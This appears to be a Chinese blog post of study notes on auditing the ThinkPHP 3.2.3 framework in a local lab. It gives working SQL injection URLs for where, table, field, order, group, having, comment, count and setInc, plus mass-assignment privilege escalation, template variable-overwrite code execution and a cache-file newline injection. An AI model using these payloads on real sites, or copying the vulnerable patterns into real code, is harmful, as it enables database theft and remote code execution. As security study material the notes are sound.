ThinkPHP3框架漏洞审计

ThinkPHP3框架漏洞审计

学习的视频是这个:Web网络安全进阶视频/ThinkPHP框架代码审计/黑客进阶/ThinkPHP,2017年的视频,有点老旧,画质模糊,老师讲得也算还行吧,作为没学过TP框架入门教程还可以。

环境配置和认知框架

ThinkPHP是一个快速、简单的基于MVC和面向对象的轻量级PHP开发框架,遵循Apache2开源协议发布,从诞生以来一直秉承简洁实用的设计原则,在保持出色的性能和至简的代码的同时,尤其注重开发体验和易用性,并且拥有众多的原创功能和特性,为WEB应用开发提供了强有力的支持。

版本:ThinkPHP 3.2.3

下载:ThinkPHP3.2.3完整版

开发手册:ThinkPHP3.2完全开发手册

核心文件和换背景搭建

初始文件目录

www  WEB部署目录(或者子目录)
├─index.php       入口文件
├─README.md       README文件
├─Application     应用目录
├─Public          资源文件目录
└─ThinkPHP        框架目录

框架目录ThinkPHP的结构如下

├─ThinkPHP 框架系统目录(可以部署在非web目录下面)
│  ├─Common       核心公共函数目录
│  ├─Conf         核心配置目录 
│  ├─Lang         核心语言包目录
│  ├─Library      框架类库目录
│  │  ├─Think     核心Think类库包目录
│  │  ├─Behavior  行为类库目录
│  │  ├─Org       Org类库包目录
│  │  ├─Vendor    第三方类库目录
│  │  ├─ ...      更多类库目录
│  ├─Mode         框架应用模式目录
│  ├─Tpl          系统模板目录
│  ├─LICENSE.txt  框架授权协议文件
│  ├─logo.png     框架LOGO文件
│  ├─README.txt   框架README文件
│  └─ThinkPHP.php 框架入口文件

项目目录

Application
├─Common         应用公共模块
│  ├─Common      应用公共函数目录
│  └─Conf        应用公共配置文件目录
├─Home           默认生成的Home模块
│  ├─Conf        模块配置文件目录
│  ├─Common      模块函数公共目录
│  ├─Controller  模块控制器目录
│  ├─Model       模块模型目录
│  └─View        模块视图文件目录
├─Runtime        运行时目录
│  ├─Cache       模版缓存目录
│  ├─Data        数据目录
│  ├─Logs        日志目录
│  └─Temp        缓存目录

Model.class.php

位于\ThinkPHP\Library\Think\Model.class.php

数据库的联动操作方法,如where/order/setInc/setDec等。

public function query($sql,$parse=false) // SQL查询
public function execute($sql,$parse=false) // 执行SQL语句
public function table($table) // 指定当前的数据表
public function join($join,$type='INNER') // 查询SQL组装 join
public function union($union,$all=false) // 查询SQL组装union
public function where($where,$parse=null) // 指定查询条件,支持安全过滤
public function limit($offset,$length=null) // 指定查询数量

Driver.class.php

位于\ThinkPHP\Library\Thinkl\Db\Driver.class.php

数据条件分析,各种操作数据库。

protected function parseLimit($limit) // 拼接limit
protected function parseOrder($order) // 拼接order by

数据库创建

CREATE DATABASE thinkphp3;
USE thinkphp3;
CREATE TABLE thinkphp_user(
    id INT(8) PRIMARY KEY NOT NULL ,
    username VARCHAR(255),
    password VARCHAR(255)
)
INSERT INTO thinkphp3.thinkphp_user VALUE (0, 'admin', '123456')

数据库连接

数据库配置在/ThinkPHP/Conf/convention.php中:

image-20220520224048570

复制到/Application/Common/Conf/config.php中,并且配置好:

<?php
return array(
   //'配置项'=>'配置值'
    /* 数据库设置 */
    'DB_TYPE'               =>  'mysql',     // 数据库类型
    'DB_HOST'               =>  '127.0.0.1', // 服务器地址
    'DB_NAME'               =>  'thinkphp3',          // 数据库名
    'DB_USER'               =>  'root',      // 用户名
    'DB_PWD'                =>  'root',          // 密码
    'DB_PORT'               =>  '3306',        // 端口
    'DB_PREFIX'             =>  'thinkphp_',    // 数据库表前缀
    'DB_PARAMS'            =>  array(), // 数据库连接参数
    'DB_DEBUG'           =>  TRUE, // 数据库调试模式 开启后可以记录SQL日志
    'DB_FIELDS_CACHE'       =>  true,        // 启用字段缓存
    'DB_CHARSET'            =>  'utf8',      // 数据库编码默认采用utf8
    'DB_DEPLOY_TYPE'        =>  0, // 数据库部署方式:0 集中式(单一服务器),1 分布式(主从服务器)
    'DB_RW_SEPARATE'        =>  false,       // 数据库读写是否分离 主从式有效
    'DB_MASTER_NUM'         =>  1, // 读写分离后 主服务器数量
    'DB_SLAVE_NO'           =>  '', // 指定从服务器序号
);

测试连接

\Application\Home\Controller\IndexController.class.php 添加一个test方法:

<?php
namespace Home\Controller;
use Think\Controller;
class IndexController extends Controller {
    public function index(){
        $this->show('<style type="text/css">*{ padding: 0; margin: 0; } div{ padding: 4px 48px;} body{ background: #fff; font-family: "微软雅黑"; color: #333;font-size:24px} h1{ font-size: 100px; font-weight: normal; margin-bottom: 12px; } p{ line-height: 1.8em; font-size: 36px } a,a:hover{color:blue;}</style><div style="padding: 24px 48px;"> <h1>:)</h1><p>欢迎使用 <b>ThinkPHP</b>!</p><br/>版本 V{$Think.version}</div><script type="text/javascript" src="http://ad.topthink.com/Public/static/client.js"></script><thinkad id="ad_55e75dfae343f5a1"></thinkad><script type="text/javascript" src="http://tajs.qq.com/stats?sId=9347272" charset="UTF-8"></script>','utf-8');
    }

    public function test() {
        $data = M('user')->where('id=0')->select();
        dump($data);
    }
}

然后访问:/index.php/home/index/test

image-20220520224422614

开启Debug模式

往配置文件/Application/Common/Conf/config.php添加调试配置:

// 显示页面Trace信息
'SHOW_PAGE_TRACE' =>true,

刷新页面,能够看到调试信息:

image-20220520224744228

URL模式

在代码审计调试过程中,主要用到pathinfo模式和普通模式

pathinfo模式

http://serverName/index.php/模块/控制器/操作/键名/键值
http://serverName/index.php/模块-控制器-操作-键名-键值

配置

'URL_MODEL'             =>  1,       // URL访问模式,可选参数0、1、2、3,代表以下四种模式:
    // 0 (普通模式); 1 (PATHINFO 模式); 2 (REWRITE  模式); 3 (兼容模式)  默认为PATHINFO 模式 

普通模式

http://serverName/index.php/?m=模块&c=控制器&a=操作名&键1=值&键2=值

配置

'URL_MODEL'             =>  0,       // URL访问模式,可选参数0、1、2、3,代表以下四种模式:
    // 0 (普通模式); 1 (PATHINFO 模式); 2 (REWRITE  模式); 3 (兼容模式)  默认为PATHINFO 模式 

ThinkPHP控制器

控制器定义

ThinkPHP的控制器是一个类,而操作则是控制器类一个公共(public function)方法。

<?php
namespace Home\Controller;
use Think\Controller;
class IndexController extends Controller {
    public function hello() {
        echo 'hello world';
    }
}

控制器操作

A方法

A("[模块/]控制器标志")实例化控制器对象.。

跨控制器实例化后,再调用被实例化对象方法。

在Index控制器中调用User控制器调用链:

// indexController.class.php
    public function getUserIndexA()
    {
        $User = A('User');
        $User->index();
    }

// UserController.class.php
class UserController extends Controller
{
    public function index()
    {
        echo 'User Controller';
    }
}

访问index控制器的getUserIndexA方法:

image-20220521102526856

R方法

R("[模块/]控制器标志/操作方法")实例化控制器变量同时调用指定对象。

直接调用对象方法。

// indexController.class.php
    public function getUserIndexR() {
        R('User/index');
    }

// UserController.class.php
class UserController extends Controller
{
    public function index()
    {
        echo 'User Controller';
    }
}
image-20220521102702189

Action 参数绑定

Action 将URL中的参数与操作方法中的参数进行绑定,该功能默认开启。

'URL_PARAMS_BIND'       =>  true, // URL变量绑定到Action方法参数

添加一个getUser方法:

public function getUser($id) {
    echo $id;
}

请求:

image-20220521103013324

获取变量

支取PHP内所有原生语法。

$id = $_GET['id'];
$name = $_POST['name'];
$value = $_SESSION['var'];
$name = $_COOKIE['name'];
$file = $_SERVER['PHP_SELF'];

I方法是ThinkPHP用于更加方便和安全的获取系统输入变量,可以用于任何地方,用法格式如下:

I('变量类型.变量名/修饰符',['默认值'],['过滤方法或正则'],['额外数据源'])

例如:

public function getUser() {
    $id =  i('id','1','intval');
    dump($id);
}

请求类型

常量说明
IS_GET判断是否是GET方式提交
IS_POST判断是否是POST方式提交
IS_PUT判断是否是PUT方式提交
IS_DELETE判断是否是DELETE方式提交
IS_AJAX判断是否是AJAX方式提交
REQUEST_METHOD当前提交类型

Ajax请求的时候需要在头部添加 X-Request-With: XMLHttpRequest

插件控制器

插件控制器的变量由参数 VAR_ADDON 进行设置,默认为addon,例如我们在URL中传入:

http://serverName/Home/info/index/addon/SystemInfo

由于传入了addon参数,因此这里的Info控制器并非原来的:

Home/Controller/InfoController.class.php

而是调用SystemInfo插件(位于Application/Addon目录下面)的InfoController控制器了,文件位于 Application/Addon/SystemInfo/Controller/InfoController.class.php
插件控制器本身的定义和普通的访问控制器一样,例如:

namespace Addon\SystemInfo\Controller;
class InfoController extends \Think\Controller{
    public function index(){
        echo 'Addon SystemInfo';
    }
}

这样,我们在访问http://serverName/Home/info/index/addon/SystemInfo的时候 就会输出 Addon SystemInfo

image-20220521151308942

SQL注入

常规注入

where

用字符串的方式将条件作为where查询语句的参数时容易产生SQL注入。

$User = M("User"); // 实例化User对象
$User->where('type=1 AND status=1')->select(); 

使用字符串查询时,需要配合预处理语句。

$Model->where("id=%d and username='%s' and xx='%f'",array($id,$username,$xx))->select();

直接传入字符串使用

查询thinkphp_user表中的数据,传入参数id。

public function getUserIndex()
{
    $data = M('User') -> where('id=' . i('id')) -> select();
    var_dump($data);
}

路由:

http://127.0.0.1/thinkphp_3.2.3/index.php/home/index/getUserIndex?id=0

如果没有使用任何过滤函数或者正则表达式,这里存在注入点,闭合语句即可:

http://127.0.0.1/thinkphp_3.2.3/index.php/home/index/getUserIndex?id=0) and updatexml(1,concat(0x3a,(user())),1)%23
image-20220521152305389

数组查询方式

数组条件的where用法是ThinkPHP推荐的用法。(安全无注入)

$User = M("User"); // 实例化User对象
$map['id'] = i('id');
$map['user'] = i('user');
// 把查询条件传入查询方法
$User->where($map)->select(); 

使用数组查询的过程中会对参数进行addslashes方法操作,过滤掉闭合的符号。

生成的语句:

SELECT * FROM thinkphp_user WHERE `id`=$id AND `username`=$user

table

一般情况下,操作模型的时候系统能够自动识别当前的数据表。用到table方法的场景就是切换数据表查询多表查询

$data = M() -> table(i('tab')) -> where('1=1') -> select();

当我们传入参数tab=thinkphp_user时:

image-20220521162516407

这里能够利用table字段进行注入,只要满足查询的表名存在,后面拼接上利用语句即可:

http://127.0.0.1/thinkphp_3.2.3/index.php/home/index/getUserIndex?tab=thinkphp_user where 1=1 and extractvalue(0x0a,concat(0x0a,(select user())))%23

构造出来的查询语句为:

SELECT * FROM thinkphp_user where 1=1 and extractvalue(0x0a,concat(0x0a,(select user())))# WHERE ( 1=1 ) 
image-20220521164813861

field

field方法属于模型的连贯操作方法之一,主要目的是标识要返回或者操作的字段,可以用于查询和写入操作。

$Model->field('id,title,content')->select();

只要field方法中参数可控,不管是字段还是字符串,都是可以被注入的。

M('User') -> field(array(i["field"])) -> select();

传入:

http://127.0.0.1/thinkphp_3.2.3/index.php/home/index/getUserIndex?field=username FROM thinkphp_user WHERE id=1 and extractvalue(0x0a,concat(0x0a,(select database())))%23
image-20220522103732965

数组方式的定义可以为某些字段定义别名,例如:

M('User') -> field(array('id','username'=>i('username'))) -> select();

别名中也存在注入:

http://127.0.0.1/thinkphp_3.2.3/index.php/home/index/getUserIndex?username=uanme FROM thinkphp_user WHERE id=1 and extractvalue(0x0a,concat(0x0a,(select database())))%23
image-20220522104145247

alias|join|union

alias用来设置表的别名,与field类似。它一般和join方法成对出现,用于数据的连贯操作。JOIN方法也是连贯操作方法之一,用于根据两个或多个表中的列之间的关系,从这些表中查询数据。

$Model->alias('a')->join('__DEPT__ b ON b.user_id= a.id')->select();

最终生成的SQL语句类似于:

SELECT * FROM think_user a INNER JOIN think_dept b ON b.user_id= a.id

UNION操作用于合并两个或多个 SELECT 语句的结果集。

$Model->field('name')
      ->table('think_user_0')
      ->union('SELECT name FROM think_user_1')
      ->union('SELECT name FROM think_user_2')
      ->select();

审计时要注意alias|join|union参数是否可控,如果可控则存在注入。

order|group|having

order方法

order方法属于模型的连贯操作方法之一,用于对操作的结果排序。

$Model->where('status=1')->order('id desc')->limit(5)->select();

只要order中的参数可控就可以进行order by注入:

M('User')->where('1=1')->order(array(i('orderby')))->select();

输入:

http://127.0.0.1/thinkphp_3.2.3/index.php/home/index/getUserIndex?orderby=1 and if((select SUBSTR((select user()),1,1)='r'),sleep(2),1)
image-20220522110836678

或者报错注入:

http://127.0.0.1/thinkphp_3.2.3/index.php/home/index/getUserIndex?orderby=(select updatexml(1,concat(0x7e,(select @@version),0x7e),1))
image-20220522111144344

group方法

GROUP方法也是连贯操作方法之一,通常用于结合合计函数,根据一个或多个列对结果集进行分组 。

group方法只有一个参数,并且只能使用字符串。

$this->field('user_id,username,max(score)')->group('user_id')->select();

group方法也存在注入:

M('User') -> field(array('score','username')) -> group(i('group')) -> select();

报错注入:

http://127.0.0.1/thinkphp_3.2.3/index.php/home/index/getUserIndex?group=extractvalue(0x0a,concat(0x0a,(select database())))
image-20220522114827591

having方法

HAVING方法也是连贯操作之一,用于配合group方法完成从分组的结果中筛选(通常是聚合条件)数据。

having方法只有一个参数,并且只能使用字符串.

$this->field('username,max(score)')->group('user_id')->having('count(test_time)>3')->select(); 

having方法也能使用报错注入:

M('User') -> field(array('score','username')) -> group(i('group'))-> having(i('having'))-> select();

输入:

http://127.0.0.1/thinkphp_3.2.3/index.php/home/index/getUserIndex?group=score&having=extractvalue(0x0a,concat(0x0a,(select database())))
image-20220522115300494

comment|index

comment 注入

COMMENT方法 用于在生成的SQL语句中添加注释内容,例如:

$this->comment('查询考试前十名分数')
->field('username,score')
->limit(10)
->order('score desc')
->select();

最终生成的SQL语句是:

SELECT username,score FROM think_score ORDER BY score desc LIMIT 10 /* 查询考试前十名分数 */

可以看到,这里实际上的插入点是在limit语句后面,所以这里就相当于是limit注入。

$data = M('User')
    -> comment(i('comment'))
    -> where('1=1')
    -> select();

需要把注释语句闭合*/,然后输入注入语句:

http://127.0.0.1/thinkphp_3.2.3/index.php/home/index/getUserIndex?comment=aaa*/ and extractvalue(0x0a,concat(0x0a,(select database())))%23
image-20220522120835695

index索引注入

index方法用于数据集的强制索引操作,例如:

$Model->force('user')->select();

对查询强制使用user索引,user必须是数据表实际创建的索引名称。

在ThinkPHP 5.0版本的force方法存在注入:

$data = M('User')
    -> force(i('f'))
    -> select();

输入:

http://127.0.0.1/thinkphp_3.2.3/index.php/home/index/getUserIndex?f=user ) procedure analyse(extractvalue(0x0a,concat(0x0a,(select database()))))%23
image-20220522152222221

由于我的版本是3.2.3,所以没能成功。

query|execute|聚合方法

ThinkPHP仍然保留了原生的SQL查询和执行操作支持,为了满足复杂查询的需要和一些特殊的数据操作。

QUERY方法

query方法用于执行SQL查询操作,如果数据非法或者查询错误则返回false,否则返回查询结果数据集(同select方法)。

$Model = new \Think\Model() // 实例化一个model对象 没有对应任何数据表
$Model->query("select * from think_user where status=1");

EXECUTE方法

execute用于更新和写入数据的sql操作,如果数据非法或者查询错误则返回false ,否则返回影响的记录数。

$Model = new \Think\Model() // 实例化一个model对象 没有对应任何数据表
$Model->execute("update think_user set name='thinkPHP' where status=1");

这里的QUERYEXECUTE方法都是普通原生的SQL查询语句,只要能够控制其中的参数,就能够实现注入。

聚合方法

在应用中我们经常会用到一些统计数据,例如当前所有(或者满足某些条件)的用户数、所有用户的最大积分、用户的平均成绩等等,ThinkPHP为这些统计操作提供了一系列的内置方法,包括:

方法说明
Count统计数量,参数是要统计的字段名(可选)
Max获取最大值,参数是要统计的字段名(必须)
Min获取最小值,参数是要统计的字段名(必须)
Avg获取平均值,参数是要统计的字段名(必须)
Sum获取总分,参数是要统计的字段名(必须)
$data = M('User')-> count(i('para'));

输入:

http://127.0.0.1/thinkphp_3.2.3/index.php/home/index/getUserIndex?para=*) FROM thinkphp_user WHERE extractvalue(0x0a,concat(0x0a,(select database())))%23
image-20220522154011018

EXP注入

EXP表达式

$map['字段名'] = array('exp','查询条件');

exp查询的条件不会被当成字符串,所以后面的查询条件可以使用任何SQL支持的语法,包括使用函数和字段名称。查询表达式不仅可用于查询条件,也可以用于数据更新,例如:

$map = array();
$map['ID']=$_GET['id'];
$data = M('User') -> where($map) -> find();
dump($data);

产生漏洞的代码是从$_GET[]数组中获取参数的,当使用I()方法获取参数时,该代码是不存在漏洞的。

image-20220522160901688

对于统计字段(通常指的是数字类型)的更新,系统还提供了setIncsetDec方法。

$User = M("User"); // 实例化User对象
$User->where('id=5')->setInc('score',3); // 用户的积分加3
$User->where('id=5')->setInc('score'); // 用户的积分加1
$User->where('id=5')->setDec('score',5); // 用户的积分减5
$User->where('id=5')->setDec('score'); // 用户的积分减1

查找该方法:

    /**
     * 字段值减少
     * @access public
     * @param string $field  字段名
     * @param integer $step  减少值
     * @param integer $lazyTime  延时时间(s)
     * @return boolean
     */
    public function setDec($field,$step=1,$lazyTime=0) {
        if($lazyTime>0) {// 延迟写入
            $condition  =      $this->options['where'];
            $guid         =   md5($this->name.'_'.$field.'_'.serialize($condition));
            $step         =   $this->lazyWrite($guid,-$step,$lazyTime);
            if(empty($step)) {
                return true; // 等待下次写入
            }elseif($step > 0) {
                $step  =   '-'.$step;
            }
        }
        return $this->setField($field,array('exp',$field.'-'.$step));
    }

参数直接拼接,而没有进行任何过滤,这里存在SQL注入漏洞点。

$data = M('User') -> where('id=3') -> setInc('score',i('num'));

输入:

http://127.0.0.1/thinkphp_3.2.3/index.php/home/index/getUserIndex?num=5%20WHERE%20extractvalue(0x0a,concat(0x0a,(select%20database())))%23
image-20220522172718408

Action参数注入

一般审计的时候先找I方法或者GET、POST等原生态请求。从而容易忽略掉Action参数传入的变量。

public function getUserIndex($id)
{
    if(intval($id) > 0) {
        $data = M('user')  -> where('id='.$id) -> select();
        dump($data);
    }
}

如果带入到 where 方法里,表示以字符串的形式查询,也就造成了注入。

输入:

http://127.0.0.1/thinkphp_3.2.3/index.php/home/index/getUserIndex?id=1) AND extractvalue(0x0a,concat(0x0a,(select database())))%23
image-20220523093800118

可以通过正则表达式匹配有关方法:

public\s+function\s+[\w_*]+\(\s

组合注入

组合查询的主体还是采用数组方式查询,只是加入了一些特殊的查询支持,包括字符串模式查询(_string)、复合查询(_complex)、请求字符串查询(_query),混合查询中的特殊查询每次查询只能定义一个,由于采用数组的索引方式,索引相同的特殊查询会被覆盖。

_string

数组条件可以和字符串条件(采用_string 作为查询条件)混合使用,例如:

$User = M("User"); // 实例化User对象
$map['id'] = array('EGT',1);
$map['_string'] = 'score='.i('score');
$data = $User->where($map)->select();

实际生成的语句为:

SELECT * FROM `thinkphp_user` WHERE `id` >= 1 AND ( score=$score )

输入:

http://127.0.0.1/thinkphp_3.2.3/index.php/home/index/getUserIndex?score=1) AND extractvalue(0x0a,concat(0x0a,(select database())))%23
image-20220523101345331

_query

请求字符串查询是一种类似于URL传参的方式,可以支持简单的条件相等判断。

$User = M("User"); // 实例化User对象
$map['id'] = array('EGT',1);
$map['_query'] = 'score='.i('score').'&username='.i('username');
$data = $User->where($map)->select();
dump($data);

输入:

http://127.0.0.1/thinkphp_3.2.3/index.php/home/index/getUserIndex?score=0'&username=john
image-20220523102037728

可以看到,_query方法查询的sql语句会对特殊字符进行转义,无法进行注入。

高级漏洞

逻辑越权

规则定义

自动完成通常用来完成默认字段写入,安全字段过滤以及业务逻辑的自动处理等,和自动验证的定义方式类似,自动完成的定义也支持静态定义和动态定义两种方式。

  1. 静态方式:在模型类里面通过$_auto属性定义处理规则。
  2. 动态方式:使用模型类的auto方法动态创建自动处理规则。

两种方式的定义规则都采用:

array(
     array(完成字段1,完成规则,[完成条件,附加规则]),
     array(完成字段2,完成规则,[完成条件,附加规则]),
     ......
);

完成字段(必须)

需要进行处理的数据表实际字段名称。

完成规则(必须)

需要处理的规则,配合附加规则完成。

完成时间(可选)

设置自动完成的时间,包括:

设置说明
self::MODEL_INSERT或者1新增数据的时候处理(默认)
self::MODEL_UPDATE或者2更新数据的时候处理
self::MODEL_BOTH或者3所有情况都进行处理
附加规则(可选)
规则说明
function使用函数,表示填充的内容是一个函数名
callback回调方法 ,表示填充的内容是一个当前模型的方法
field用其它字段填充,表示填充的内容是一个其他字段的值
string字符串(默认方式)
ignore为空则忽略(3.1.2新增)

静态定义

预先在模型类里面定义好自动完成的规则,我们称之为静态定义。例如,我们在模型类定义_auto属性:

namespace Home\Model;
use Think\Model;
class UserModel extends Model{
 &nbsp; &nbsp; protected $_auto = array ( 
 &nbsp; &nbsp; &nbsp; &nbsp; array('status','1'),  // 新增的时候把status字段设置为1
 &nbsp; &nbsp; &nbsp; &nbsp; array('password','md5',3,'function') , // 对password字段在新增和编辑的时候使md5函数处理
 &nbsp; &nbsp; &nbsp; &nbsp; array('name','getName',3,'callback'), // 对name字段在新增和编辑的时候回调getName方法
 &nbsp; &nbsp; &nbsp; &nbsp; array('update_time','time',2,'function'), // 对update_time字段在更新的时候写入当前时间戳
 &nbsp; &nbsp; );
}

然后,就可以在使用create方法创建数据对象的时候自动处理:

$User = D("User"); // 实例化User对象
if (!$User->create()){ // 创建数据对象
 &nbsp; &nbsp; // 如果创建失败 表示验证没有通过 输出错误提示信息
 &nbsp; &nbsp; exit($User->getError());
}else{
 &nbsp; &nbsp; // 验证通过 写入新增数据
 &nbsp; &nbsp; $User->add();
}

在进行自动验证的时候,系统会对定义好的验证规则进行依次验证。如果某一条验证规则没有通过,则会报错,getError方法返回的错误信息(字符串)就是对应字段的验证规则里面的错误提示信息。

静态定义方式因为必须定义模型类,所以只能用D函数实例化模型

create方法默认情况下是根据表单提交的post数据生成数据对象

动态完成

除了静态定义之外,我们也可以采用动态完成的方式来解决不同的处理规则。

$rules = array ( 
    array('status','1'),  // 新增的时候把status字段设置为1
    array('password','md5',3,'function') , // 对password字段在新增和编辑的时候使md5函数处理
    array('update_time','time',2,'function'), // 对update_time字段在更新的时候写入当前时间戳
);
$User = M('User');
$User->auto($rules)->create();
$User->add();

漏洞点

  • 假设有一个数据库,其中的level字典代表管理员权限
image-20220523154727554
  • /Home/Controller/UserModel.class.php
class UserModel extends Model {
    protected $_auto = array (
        array('password', 'md5', 3, 'function'), 
        array('score', '10'),
        array('username', '', 3, 'ignore'),
    );
}

这里模型的规则并没有对level字段进行定义。

  • /Home/Modle/UserController.class.php
class UserController extends Controller {
    public function index() {
        echo 'R - User Controller';
    }

    public function addUser() {
        $User = D("User"); // 实例化User对象
        if (!$User->create()) { //创建数组对象
            // 如果创建失败,返回错误信息
            exit($User->getError());
        } else {
            $User->add();
        }
    }
}

设置UserController控制器的addUser方法,通过模型的create方法来实现修改数据。

输入:

username=steve&password=tom123&score=60&level=1
image-20220523161224985

发现不仅能够控制在模型规则中定义好的字段,同时还能控制模型中没定义的level字段,造成了越权。

模板漏洞

模板漏洞的危害性很大,但是收到的条件限制很多,出现的概率很小。

需要配置 TMPL_ENGINE_TYPE => ‘php’,默认是Think

  • 在控制器中新建一个测试方法IndexController.class.php
public function test() {
    $data = $_GET['name'];
    $this->assign($data);    //使用模板渲染数据
    $this->display('index');
}

注意需要新建一个 /Home/View/Index/index.html 文件,内容为空即可,否则会报错说找不到模板文件。

输入:

http://127.0.0.1/thinkphp_3.2.3/index.php/home/index/test?name[_content]=<?php phpinfo();?>
image-20220523165314232

这个漏洞比较有意思,是一个变量覆盖漏洞,调试源代码看一下:

前面直接掠略过,定位到 ThinkPHP/Library/Think/View.class.php 文件的fetch方法:

image-20220523170115728

可以看到断点处的判断,配置中的TMPL_ENGINE_TYPE参数是否为php,然后将$content的值赋值给$_content,接着执行:

extract($this->tVar, EXTR_OVERWRITE);

extract方法是从数组中将变量导入到当前的符号表,而且使用了EXTR_OVERWRITE作为参数,EXTR_OVERWRITE的意思是:如果有冲突,覆盖已有的变量。那么这里就形成了一个变量覆盖的情况,而这里的$this->tVar里面的内容是啥呢?

image-20220523205608870

tVar数组里面就只有一个值,正是我们传进来的_content=<?php phpinfo();?>,这么一来就把原来$_content的值给覆盖掉为我们传入的值。

接着到:

empty($_content)?include $templateFile:eval('?>'.$_content);

先判断$_content是否为空,否的话就直接eval了,并且还很贴心地把前面的内容给闭合掉。

PHP标签

踩坑,这里在上面的模板漏洞那里把模板引擎改成php了,这样一来是无法识别<php>标签的,得该回去Think模板引擎

<php></php>支持PHP语法,也可以使用原生的<?php ?>,原生的php语法可能因为参数配置禁用而解析错误。

在控制器中传入$data

class IndexController extends Controller {
    public function index() {
        $data = I('id');
        $this->assign('data', $data);
        $this->display();
    }
}

在模板的<php>标配内进行渲染:

<php>eval(${data})</php>

输入:

http://127.0.0.1/thinkphp_3.2.3/index.php/home/index/index?data=phpinfo();
image-20220523215229503

缓存漏洞

  • F方法:

快速缓存Data数据

F('data', '<?php phpinfo();?>')

生成文件位于Runtime\Data,且文件没有进行加密,名字为 data.php;如果个目录能够被访问或包含则可以实现php的代码执行。

  • S方法:

缓存数据,缓存的文件名默认是MD5加密处理

if(!S('data')) {
    S('data', $_GET['d']);
    echo '缓存成功';
}

生成的文件在Runtime\Temp目录下,并且文件名是进行了加密处理,这里我测试的时候还是传<?php phpinfo();?>进去,查看一下文件:

image-20220523220242319

发现代码被注释掉了,这里的绕过方法是使用%0a进行换行,输入:

%0a;phpinfo%28%29;//

再次查看文件:

image-20220523220647285

%0a进行了换行,后面的代码逃逸掉了前面的注释符。

由于这里的文件名仍只是进行了md5加密,容易被人猜到文件名,所以配置中还支持设置DATA_CACHE_KEY对文件名进行加盐md5,避免缓存文件名被猜测到:

'DATA_CACHE_KEY' => 'think'

Widget 扩展

Widget扩展一般用于页面组件的扩展。

举个例子,我们在页面中实现一个分类显示的Widget,首先我们要定义一个Widget控制器层CateWidget,如下:

namespace Home\Widget;
use Think\Controller;
class CateWidget extends Controller {
    public function menu() {
        echo 'menuwidget';
    }
}

然后,我们在模板中通过W方法调用这个Widget。

{:W('Cate/Menu')}

Widget实际上就是一个控制器,假如Widget扩展中有一些能够利用的函数的话,我们就可以在正常的控制器中寻找那里调用了使用Widget扩展的模板,从而进行利用。

同样地,Widget可能进行传参,不过我试了一下,好像在控制器中控制模板参数注入Widget的标签里面进行传参似乎并不可行:

namespace Home\Widget;
use Think\Controller;
class CateWidget extends Controller {
    public function menu($id,$name){
        echo $id.':'.$name;
    }
}

模版中的参数调用,使用:

{:W('Cate/Menu',array(5,'thinkphp'))} 

传入的参数是一个数组,顺序对应了menu方法定义的参数顺序。

则会输出:

5:thinkphp

参考资料

ThinkPHP框架审计笔记

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇